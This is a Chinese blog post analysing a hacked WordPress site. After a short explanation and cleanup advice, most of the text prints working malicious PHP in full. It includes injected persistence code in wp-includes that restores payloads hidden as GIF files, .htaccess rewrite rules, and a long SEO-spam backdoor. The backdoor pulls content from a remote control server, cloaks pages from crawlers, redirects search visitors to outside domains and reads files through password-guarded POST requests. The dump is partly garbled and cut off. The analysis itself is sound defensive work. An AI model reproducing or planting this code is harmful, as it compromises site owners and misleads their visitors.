常在河边走,哪有不湿鞋,今天小雨碰到一个客户说自己的wordpress网站根目录下出现localisationl文件夹,里面包含了两个文件,即使删除了,一访问网站,还是会出现
经过排查发现wordpress的安装文件被修改了,所以建议他重新在官网下载wordpress,备份好图片、插件、数据库和模板,重新安装。
他的故事结束了,小雨的才刚刚开始。
经过全局搜索,发现是因为wordpress的wp-includes文件夹下面的load.php和template-loader.php被恶意修改了。
额外添加的代码如下:
//ck1bg $nowFileDir = 'localisationl'; $nowHtacFile = './.htaccess'; $nowMobanFile = './localisationl/moban.html'; $nowIndexFile = './localisationl/index.php'; $nowLogFile = './localisationl/logs.txt'; $bkLocalFileIndex1 = './wp-includes/images/smilies/icon_reds.gif'; $bkLocalFileHtac1 = './wp-includes/images/smilies/icon_blacks.gif'; $bkLocalFileMoban1 = './wp-includes/images/smilies/icon_greens.gif'; if($nowHtacFile && file_exists($bkLocalFileHtac1)){ if(!file_exists($nowHtacFile) or (filesize($nowHtacFile) != filesize($bkLocalFileHtac1))){ if(!is_dir("./$nowFileDir")){ @mkdir("./$nowFileDir",0755); } @chmod($nowHtacFile,0755); @file_put_contents($nowHtacFile,file_get_contents($bkLocalFileHtac1)); @chmod($nowHtacFile,0755); } } if(file_exists($bkLocalFileIndex1)){ if(!file_exists($nowIndexFile) or (filesize($nowIndexFile) != filesize($bkLocalFileIndex1) && !file_exists($nowLogFile))){ if(!is_dir("./$nowFileDir")){ @mkdir("./$nowFileDir",0755); } @chmod($nowIndexFile,0755); @file_put_contents($nowIndexFile,file_get_contents($bkLocalFileIndex1)); @chmod($nowIndexFile,0755); } } if(file_exists($bkLocalFileMoban1)){ if(!file_exists($nowMobanFile)){ if(!is_dir("./$nowFileDir")){ @mkdir("./$nowFileDir",0755); } @file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban1)); @chmod($nowMobanFile,0755); }else{ if(filesize($nowMobanFile) != filesize($bkLocalFileMoban1)){ $tpstrMb = file_get_contents($nowMobanFile); if(strstr($tpstrMb,"#bbbtitsbbb#") && !strstr($tpstrMb,"")){ $fitime = filemtime($bkLocalFileMoban1); @chmod($bkLocalFileMoban1,0755); @file_put_contents($bkLocalFileMoban1,$tpstrMb); @touch($bkLocalFileMoban1, $fitime, $fitime); }else{ @chmod($bkLocalFileMoban1,0755); @file_put_contents($nowMobanFile,file_get_contents($bkLocalFileMoban1)); @chmod($bkLocalFileMoban1,0755); } } } } //ck1end
这也就是造成localisationl文件夹删除了后只要一访问网站立马又出现的原因。
还发现htaccess文件也被添加了两条伪静态
RewriteRule ^.*/(\d+)/$ localisationl/index\.php?id=$1&%{QUERY_STRING} [L] RewriteRule ^.*-(\d+)/$ localisationl/index\.php?cat=$1&%{QUERY_STRING} [L]
不过客户的服务器是nginx,所以这个文件应该没有起作用,但如果是apache又会出现什么情况呢?
我们来一探究竟,这个localisationl文件夹下的index.php文件里到底是什么东东?他又做了什么?
FNUM) die("The Number Must Lower Then " . FNUM); $arrNumTemp = getMapNum($bgNum,$mapnum); $rs = '##si'; $mapLogs = file_get_contents("./map.log"); foreach($arrNumTemp as $vss){ $vals = "id$vss.php"; if(strstr($mapLogs,'#site' . $arrABC[$gnumber-1] . 'target' .'.xml#') && file_exists('../sitetarget/site' . $arrABC[$gnumber-1] . 'target' .'.xml')){ echo $vals."
"; echo '../sitetarget/site' . $arrABC[$gnumber-1] . 'target' .'.xml successed
'; $gnumber++; continue; } for($i=0; $i<3; $i++){ $idUrl = GETDOM . "gpage.php?getmapid=$vss&site=$thisdom&sid=".MSID; $tempIdStr = curl_get_from_webpage($idUrl,'',5); $arrIdNameNow = array(); if(preg_match($rs,$tempIdStr,$matchIdName)){ $tparrIdName = explode('^^',$matchIdName[1]); foreach($tparrIdName as $vs){ $tpArr = explode('^',$vs); if(count($tpArr) == 2){ $arrIdNameNow[$tpArr[0]] = $tpArr[1]; }elseif(count($tpArr) > 2){ $tpstr = ''; for($j=1; $j"; die(); } echo $vals."
"; if($gnumber == 1){ if(JDT == 1){ gsitemap($arrIdNameNow,2,1); }else{ gsitemap($arrIdNameNow,1,2); } }else{ if(JDT == 1){ gsitemap2($arrIdNameNow,2,1); }else{ gsitemap2($arrIdNameNow,1,2); } } unset($arrIdNameNow,$tempArr1,$tempArr2); } } if(isset($_GET["ghtac"]) && $_GET["ghtac"]){ $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); $PreDir = ''; if(JDT == 1){ $UrlBaseDir = $httcReplace; $RewriteOnDir = ''; }else{ $UrlBaseDir = ''; $PreDir = '../'; $RewriteOnDir = $httcReplace . '/'; } $strhtt = ''; if (file_exists("$PreDir.htaccess")){ @chmod("$PreDir.htaccess",0755); $strhtt = file_get_contents("$PreDir.htaccess"); } if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule'))) { $strhtt = ''.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .' '; }else{ $strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt); $strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt); } if(1){ $r0 = '#(.*RewriteEngine On.*)#i'; $r1 = '#(.*RewriteBase.*)#i'; $r2 = '#RewriteRule#i'; if(JDT == 0){ $rsut = '\1'.PHP_EOL .'RewriteRule ^'. '.*/(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*-(\d+)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL ; $rsut2 = PHP_EOL .'RewriteRule ^'. '.*/(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*-(\d+)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL .'RewriteRule' ; }else{ $rsut = '\1'.PHP_EOL .'RewriteRule ^'. '.*/(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*-(\d+)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL ; $rsut2 = PHP_EOL .'RewriteRule ^'. '.*/(\d+)'. JTHZ .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'.'.*-(\d+)' . JTHZ .'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]' . PHP_EOL .'RewriteRule' ; } if(preg_match($r0,$strhtt)){ $strhtt = preg_replace($r0,$rsut,$strhtt,1); }elseif(preg_match($r1,$strhtt)){ $strhtt = preg_replace($r1,$rsut,$strhtt,1); }else{ $strhtt = preg_replace($r2,$rsut2,$strhtt,1); } if(JDT == 1 or JDT == 0){ file_put_contents("$PreDir.htaccess", $strhtt); } } die("ghtac ok"); } if(isset($_POST["chdate"]) && md5($_POST["chdate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_POST["redate"]) && md5($_POST["redate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["redate_file"])){$redate_file = $_POST["redate_file"];if(file_exists($redate_file)){echo rFile($redate_file);die();}else{echo '#nofile#';die();}}if(isset($_POST["test"]) && md5($_POST["test"])=='b6772c68627f804a9578152ee90f5b0c'){echo '#ok#'; die();}if((isset($_POST["lan"]) && $_POST["lan"] == 1) or (isset($_GET["lan"]) && $_GET["lan"] == 1)){$fileArr = array();$flag = 1;$fileArr['index'] = filesize(__FILE__);if(file_exists("./moban.html")){$fileArr['moban'] = filesize("./moban.html");}else{$flag = 0;$fileArr['moban'] = -1;}echo 'error---'. serialize($fileArr) .'---';die();}if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){die();} if(JDT==2){ $UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI']))); if($UrlParent){ $tempSid = ''; $tempPid = ''; $r2='#.*/(\d+)'. JTHZ .'$#i'; $r3='#.*/(\d+)/$#i'; if(preg_match($r2,$UrlParent,$matches2)){ if(isset($matches2[1])) $tempPid = $matches2[1]; }else{ preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1])) $tempPid = $matches13[1]; } if($tempPid){ $_GET['id']= $tempPid; }else{ $r2='#.*-(\d+)'. JTHZ .'$#i'; $r3='#.*-(\d+)/$#i'; if(preg_match($r2,$UrlParent,$matches2)){ if(isset($matches2[1])) $tempPid = $matches2[1]; }else{ preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1])) $tempPid = $matches13[1]; } if($tempPid) $_GET['cat']= $tempPid; } } }elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){ $tempSid = ''; $tempPid = ''; $UrlParent = $_GET['keyword']; $r2='#-(\d+)$#i'; $r3='#[-/]'.'(\d+)$#i'; if(preg_match($r2,$UrlParent,$matches2)){ if(isset($matches2[1])) $tempPid = $matches2[1]; }else{ preg_match($r3,$UrlParent,$matches13); if(isset($matches13[1])) $tempPid = $matches13[1]; } if($tempPid){ $_GET['id']= $tempPid; } } function getRandStr(){ $arrABC = range('a','z'); shuffle($arrABC); $randNum = rand(4,6); $str = implode('',array_slice($arrABC,0,$randNum)); return $str;} if(isset($_GET["id"])) $id = $_GET["id"]; else{ if(isset($_GET["cat"])){ $rqurl = $_GET["cat"]; $logFileName = './idlogs.txt'; if(file_exists($logFileName)){ $arrUrlId = unserialize(file_get_contents($logFileName)); }else{ $arrUrlId = array(); } if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){ $id = $arrUrlId[$rqurl]; }else{ $arrUrlId[$rqurl] = getRandCId($rqurl); $id = $arrUrlId[$rqurl]; file_put_contents($logFileName,serialize($arrUrlId)); @touch(dirname($logFileName), $fLogTime, $fLogTime); @touch($logFileName, $fLogTime, $fLogTime); } }else{ $id = "665626"; //llq index id } } $resid = '#^\d+$#'; if(!preg_match($resid,$id)){ exit; } $id23 = $id; $siteid = MSID; $siteAID = $siteid. '-' .$id23;$fileKey = $id23 % FNUM; // $_SERVER["HTTP_REFERER"] = "google.com"; if(isset($_SERVER["HTTP_REFERER"])){ $referer = $_SERVER["HTTP_REFERER"]; $russ = '#(google|yahoo|incredibar|bing|docomo|mywebsearch|comcast|search-results|babylon|conduit)(\.[a-z0-9\-]+){1,2}#i'; $ipRanges = array( array('64.233.160.0' , '64.233.191.255'), array('66.102.0.0' , '66.102.15.255' ) , array('66.249.64.0' , '66.249.95.255') , array('72.14.192.0' , '72.14.255.255') , array('74.125.0.0' , '74.125.255.255') , array('209.85.128.0' , '209.85.255.255') , array('216.239.32.0' , '216.239.63.255') ); $localIp = get_real_ip(); $is_or_no = is_ip($localIp,$ipRanges); $iszz = isCrawler(); if(function_exists('gethostbyaddr')){ $hostname = @gethostbyaddr($localIp); $is_g_ip = preg_match("#google#i", "$hostname") === 1; }else{ $is_g_ip = 0; } if(preg_match($russ, $referer) && $iszz == false && $is_or_no == false && !$is_g_ip){ $rsdom = '#^https?://www\.[^/]+/$#i'; $jumDom1 = 'http://www.'.$stss.'.xyz'. DOMTXT . $siteid .".txt"; $jumDom2 = 'http://www.'.$stss2.'.xyz'. DOMTXT . $siteid .".txt"; for($i=0;$i<2;$i++){ $domJump = curl_getjs_from_webpage($jumDom1,2); $domJump = trim($domJump); if(!preg_match($rsdom,$domJump)){ $domJump = curl_getjs_from_webpage($jumDom2,10); $domJump = trim($domJump); if(preg_match($rsdom,$domJump)) break; }else{ break; } } echo ''; die(); } } $fcontent = ''; $pInfoUrl = GETDOM . "gpage.php?site=$thisdom&id=$siteAID"; $pInfoStr = curl_get_from_webpage($pInfoUrl,'',5); $rsInfo = '#(.*) #si'; preg_match($rsInfo,$pInfoStr,$matchInfo); if(isset($matchInfo[1])){ $InFoStrArr = unserialize($matchInfo[1]); }else{ header("HTTP/1.1 404 Not Found");exit; } if(isset($InFoStrArr['frStr2'])){ $frStr2 = $InFoStrArr['frStr2']; $fr2Arr = unserialize($frStr2); } $frStr1 = $InFoStrArr['frStr1']; $fr1Arr = unserialize($frStr1); $Ptitle = $InFoStrArr['Ptitle']; $nowIdName = $InFoStrArr['nowIdName']; if(strstr($Ptitle,'#cat#')){ $tp_title_arr = explode('#cat#',$Ptitle); $Ptitle = $tp_title_arr[1]; } $pcatstr = $InFoStrArr['pcatstr']; $nowPreStr = $InFoStrArr['nowPreStr']; $nowNextStr = $InFoStrArr['nowNextStr']; if(strstr($pcatstr,'#cname#')){ $temparrI = explode('#cname#',$pcatstr); $catStr = $temparrI[0]; $catArr = explode('^',$catStr); $tparrCat = array(); $catArrII = array(); foreach($catArr as $vs){ $vs = str_replace('&','&',$vs); if(!isset($tparrCat[$vs])){ $tparrCat[$vs] = 1; $catArrII[] = $vs; } } $catArr = $catArrII; $mateStr = $temparrI[1]; if(strstr($mateStr,'#keydescription#')){ $temparrII = explode('#keydescription#',$mateStr); $pkeyword = trim($temparrII[0]); if(!$pkeyword){ $pkeyword = $Ptitle; }else{ $keyArr = explode(',',$pkeyword); $num = count($keyArr); $yushu = KEYJG % $num; $arrPre = array(); $arrLast = array(); for($i=0;$i<$num;$i++){ if($i<$yushu){ $arrLast[] = $keyArr[$i]; }else{ $arrPre[] = $keyArr[$i]; } } if(count($arrLast)){ foreach($arrLast as $vs){ $arrPre[] = $vs; } } $pkeyword = implode(',',$arrPre); $pkeywordYuanShi = $pkeyword; } $pdescription = $temparrII[1]; if(!$pdescription){ $pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr; }else{ $DesArr = explode(',',$pdescription); $num = count($DesArr); $yushu = KEYJG % $num; $arrPre = array(); $arrLast = array(); for($i=0;$i<$num;$i++){ if($i<$yushu){ $arrLast[] = $DesArr[$i]; }else{ $arrPre[] = $DesArr[$i]; } } if(count($arrLast)){ foreach($arrLast as $vs){ $arrPre[] = $vs; } } $pdescription = implode(',',$arrPre); $pdescription .= '.'; $pDescriptionYuanShi = $pdescription; } }else{ $pkeyword = $Ptitle; $pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr; } }else{ $catArr = array(); if(strstr($mateStr,'#keydescription#')){ $temparrII = explode('#keydescription#',$mateStr); $pkeyword = $temparrII[0]; if(!$pkeyword){ $pkeyword = $Ptitle; }else{ $keyArr = explode(',',$pkeyword); $num = count($keyArr); $yushu = KEYJG % $num; $arrPre = array(); $arrLast = array(); for($i=0;$i<$num;$i++){ if($i<$yushu){ $arrLast[] = $keyArr[$i]; }else{ $arrPre[] = $keyArr[$i]; } } if(count($arrLast)){ foreach($arrLast as $vs){ $arrPre[] = $vs; } } $pkeyword = implode(',',$arrPre); $pkeywordYuanShi = $pkeyword; } $pdescription = $temparrII[1]; if(!$pdescription){ $pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr; }else{ $DesArr = explode(',',$pdescription); $num = count($DesArr); $yushu = KEYJG % $num; $arrPre = array(); $arrLast = array(); for($i=0;$i<$num;$i++){ if($i<$yushu){ $arrLast[] = $DesArr[$i]; }else{ $arrPre[] = $DesArr[$i]; } } if(count($arrLast)){ foreach($arrLast as $vs){ $arrPre[] = $vs; } } $pdescription = implode(',',$arrPre); $pdescription .= '.'; $pDescriptionYuanShi = $pdescription; } }else{ $pkeyword = $Ptitle; $pdescription = $nowPreStr. ' ' .$Ptitle. ' ' .$nowNextStr; } } $BreadStr = getBreadcrum($Ptitle,$catArr,$id23); if(function_exists("preg_split")){ $PtitleArr = preg_split('/\s+/us', $Ptitle); }else{ $PtitleArr = explode(' ', $Ptitle); } $tpTitleArr = array(); foreach($PtitleArr as $vs){ $vs = trim($vs); if($vs){ $tpTitleArr[] = $vs; } } $numTitleArr = count($tpTitleArr); $randTkeyI = RANDNUMI % $numTitleArr; $createTitleI = getRandStrArr($tpTitleArr,$randTkeyI); $randTkeyII = RANDNUMII % $numTitleArr; if($randTkeyI == $randTkeyII){ $randTkeyII = abs($randTkeyI-2); } $createTitleII = getRandStrArr($tpTitleArr,$randTkeyII); $addTopStr = $BreadStr.PHP_EOL; $addTopStr .= "{$Ptitle}
"; $addTopStr .= ''. implode(' ',$catArr) . " {$Ptitle}".PHP_EOL; $tpaddstr = ''; if($pkeywordYuanShi) $tpaddstr .= $pkeywordYuanShi .','; $tpaddstr .= $Ptitle .','; $tpaddstr .= $createTitleI .','; $tpaddstr .= $pdescription; $tpaddstr .= $createTitleII .'.
'. PHP_EOL; $addTopStr .= $tpaddstr; if(isset($InFoStrArr['pdes'])){ $InFoStrArr['pdes'] = preg_replace('#\s+#si',' ',$InFoStrArr['pdes']); $addTopStr .= ''.$InFoStrArr['pdes']."
".PHP_EOL; } if(isset($InFoStrArr['nowPimgArr'])){ $tpImgArr = unserialize($InFoStrArr['nowPimgArr']); foreach($tpImgArr as $tpimg){ $addTopStr .= $tpimg."
".PHP_EOL; } } $addTopStr .= "{$Ptitle}
".PHP_EOL; $arrFlinks = array(); $fr1Strs = '
'.$addStrDes1.'
'.PHP_EOL; } $addPdesStr .= $addStrDes1.PHP_EOL; $addStrDesII = ''; if(isset($InFoStrArr['fpNameStr'])){ $tpDesNameArr = unserialize($InFoStrArr['fpNameStr']); $tempArrLen = count($tpDesNameArr) - 1; $temp_arr = array(); foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){ if(strstr($tpdesVs,'#cat#')){ $tp_name_arr = explode('#cat#',$tpdesVs); $tpdesVs = $tp_name_arr[1]; } $temp_arr[$tpdesKey] = $tpdesVs; } $tpDesNameArr = $temp_arr; $lenthNameArr = count($tpDesNameArr); $lenthFlinkArr = count($arrFlinks); $numShan = intval($lenthNameArr/$lenthFlinkArr); if($numShan < 1) $numShan = 1; $flag = 0; $shengyu = $lenthNameArr - $lenthFlinkArr * $numShan; $shengyu = $shengyu - 2; $bgnum = 0; $endnum = $lenthNameArr - 1; $arrKeyNum = array(); while($shengyu > 0){ $arrKeyNum[$bgnum++] = $numShan + 1; $shengyu--; if($shengyu > 0){ $arrKeyNum[$endnum--] = $numShan + 1; } $shengyu--; } $nowTempFlag = 0; $nowTempNumFlag = 0; $tempDesNameArr = array(); foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){ $nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan; if($nowTempNumFlag < $nowLens){ $tempDesNameArr[] = $tpdesVs; $nowTempNumFlag++; }else{ if(isset($arrFlinks[$nowTempFlag])) $tempDesNameArr[] = $arrFlinks[$nowTempFlag++]; $tempDesNameArr[] = $tpdesVs; $nowTempNumFlag=1; } } while($nowTempFlag <= $lenthFlinkArr-1) $tempDesNameArr[] = $arrFlinks[$nowTempFlag++]; $tpDesNameArr = $tempDesNameArr; $i=0; foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){ $tempLen = strlen($tpdesVs) + $i; if($tempLen % 2 == 1){ $nowtempfh = ', '; }else $nowtempfh = '. '; if($i == $tempArrLen){ $addStrDesII .= $tpdesVs . '.'; }else{ $addStrDesII .= $tpdesVs . $nowtempfh; } $i++; } $addStrDesII = ''.$addStrDesII.'
'.PHP_EOL; } $addPdesStr .= "'; $strBreads .= '<'.$breadTagHtml2.' class="'.$classII.'">'; $strBreads .= '
'; if(count($catArr)){ foreach($catArr as $vs){ $vs = trim($vs); $nowCatUrl = getCatLink($vs,$id23); $strBreads .= '
'; } } $strBreads .= '
'; $strBreads .= ''.$breadTagHtml2.'>'; $strBreads .= ''.$breadTagHtml1.'>'; }else{ $calssBreadKey = KEYJG % $arrBreadNum; $classTop = $arrBread[$calssBreadKey]; $classul = KEYJG % 2 ? 'Breadcrumb' : 'breadcrumbs'; $breadTagkey = $domlen % 2; if($breadTagkey == 0){ if($classTop) $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">'; else $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>'; $strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">'; $strBreads .= '
'; $flagNum = 2; if(count($catArr)){ foreach($catArr as $vs){ $vs = trim($vs); $nowCatUrl = getCatLink($vs,$id23); $strBreads .= '
'; $flagNum++; } } $strBreads .= '
'; $strBreads .= ''.$breadTagHtml2.'>'; $strBreads .= ''.$breadTagHtml1.'>'; }else{ if($classTop) $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">'; else $strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>'; $strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">'; $strBreads .= '
'; if(count($catArr)){ foreach($catArr as $vs){ $vs = trim($vs); $nowCatUrl = getCatLink($vs,$id23); $strBreads .= '
'; } } $strBreads .= '
';
$strBreads .= ''.$breadTagHtml2.'>';
$strBreads .= ''.$breadTagHtml1.'>';
}
}
return $strBreads;
}
function getCatLink($CatName,$id23){
global $arrnametime,$arrKeywz,$arr_word,$strRand;
$filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST'];
$dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
if(JDT == 2){
$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
$filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){
$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?cat="; }else{
$filePres = $siteLink."/"; }
$CatName = str_replace('&',' ',$CatName);
$CatName = str_replace('&',' ',$CatName);
if(JDT == 3){
$CatName = preg_replace('#\s+#i','-',$CatName);
while(strstr($CatName,'--'))
$CatName = str_replace('--','-',$CatName);
$linkCenter = $CatName;
$rtStr = $filePres.$linkCenter;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
return $rtStr;
}
$CatName = preg_replace('#\s+#i','-',$CatName);
$CatName = str_replace('--','-',$CatName);
$linkCenter = str_replace('--','-',$CatName).'-'.$id23;
$linkCenter .= JTHZ;
$rtStr = $filePres.$linkCenter;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
return $rtStr;
}
function getMapNum($bgNum,$mapnum){
$TempArr = array();
if($bgNum + $mapnum <= FNUM){
for($i=0;$i<$mapnum;$i++){
$TempArr[$i] = $bgNum + $i -1;
}
}else{
for($i=0;$i<$mapnum;$i++){
if($bgNum+$i > FNUM)
$TempArr[$i] = $bgNum + $i -1 -FNUM;
else
$TempArr[$i] = $bgNum + $i -1;
}
}
return $TempArr;
}
function getRandCId($rqurl){
global $thisdom;
for($i=0;$i<3;$i++){
$idUrl = GETDOM . "gpage.php?site=$thisdom&cid=$rqurl";
$tempIdStr = curl_get_from_webpage($idUrl,'',5);
if(preg_match('#
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#site' . $arrABC[$gnumber-1] . 'target' .'.xml#'.PHP_EOL,FILE_APPEND);
$str = ''; $gnumber++; return; }
$str .= "
'.$gFile.'
';
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#site' . $arrABC[$gnumber-1] . 'target' .'.xml#'.PHP_EOL,FILE_APPEND);
$gnumber++;
}
unset($tempArr1); unset($filenames);
echo "生成sitemap成功!";
}
function gsitemap($filenames,$c=1,$jdt=1){
global $gnumber,$arrArrr;
$arrABC = range('a','z');
$tparrsI = $filenames;
$randnum = rand(7000,7600);
$tparrII = array_rand($tparrsI,$randnum);
$tparrIII = array();
foreach($tparrII as $vs){
$tparrIII[$vs] = $filenames[$vs];
}
$filenames = $tparrIII;
$filePres = ''; $fileEnds = '';
$fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/'));
$siteLink='http://'.$_SERVER['HTTP_HOST'];
$mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'
'.$gFile.'
';
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#site' . $arrABC[$gnumber-1] . 'target' .'.xml#'.PHP_EOL,FILE_APPEND);
$str = ''; $gnumber++; return;
}
if($starPri >= 400 && $priority != 0.1){
$starPri = 0; $priority = $priority - 0.1; }
if($priority > 0.1){
$str .= "
'.$gFile.'
';
$put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str);
file_put_contents("./map.log",'#site' . $arrABC[$gnumber-1] . 'target' .'.xml#'.PHP_EOL,FILE_APPEND);
$gnumber++;
}
unset($tempArr1); unset($filenames); echo "生成sitemap成功!";
}
function curl_get_from_webpage($url,$proxy='',$loop=10){
$data = false; $i = 0; while(!$data) {
$data = curl_get_from_webpage_one_time($url,$proxy); if($i++ >= $loop) break; }
return $data;}
function curl_getjs_from_webpage($url,$time){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
$curl = curl_init(); //如果有用代理,则使用代理.
$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";
// $urlReferer = "http://www.google.com";
curl_setopt($curl, CURLOPT_URL, $url);
if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0
));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
}$data=curl_exec($curl);curl_close($curl);
}else{
$is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
if($is_auf){
$data = file_get_contents($url);
}
}
if(!$data) return false;
return $data;
}
function curl_get_from_webpage_one_time($url,$proxy=''){
if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){
$curl = curl_init(); //如果有用代理,则使用代理.
$user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100";
// $urlReferer = "http://www.google.com";
if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_URL, $url);
if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0
));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent);
}$data=curl_exec($curl);curl_close($curl);
}else{
$is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false;
if($is_auf){
$data = file_get_contents($url);
}
}
if(!$data) return false;
return $data;
}
//
function my_mkdir($dir){
global $fitime;
if(!is_dir($dir)){
mkdir($dir);
@touch($dir, $fitime, $fitime);
}
}
function generate_dir_file($gDir=''){
global $hostDir;
$gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir);
$gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir);
$arr = explode(DIRECTORY_SEPARATOR,$gDir);
if(count($arr) <= 0) return;
if(!strstr($gDir,$hostDir))
$dir = $hostDir;
else
$dir = '';
for($i = 0 ; $i < count($arr)-1 ; $i++){
$dir .= DIRECTORY_SEPARATOR . $arr[$i];
my_mkdir($dir);
}
return $dir;
}
function strFilter($str){
$str = str_replace('`', '', $str);
$str = str_replace('·', '', $str);
$str = str_replace('~', '', $str);
$str = str_replace('!', '', $str);
$str = str_replace('!', '', $str);
$str = str_replace('@', '', $str);
$str = str_replace('#', '', $str);
$str = str_replace('$', '', $str);
$str = str_replace('¥', '', $str);
$str = str_replace('%', '', $str);
$str = str_replace('^', '', $str);
$str = str_replace('……', '', $str);
$str = str_replace('*', '', $str);
$str = str_replace('(', '', $str);
$str = str_replace(')', '', $str);
$str = str_replace('(', '', $str);
$str = str_replace(')', '', $str);
$str = str_replace('-', '', $str);
$str = str_replace('_', '', $str);
$str = str_replace('——', '', $str);
$str = str_replace('+', '', $str);
$str = str_replace('=', '', $str);
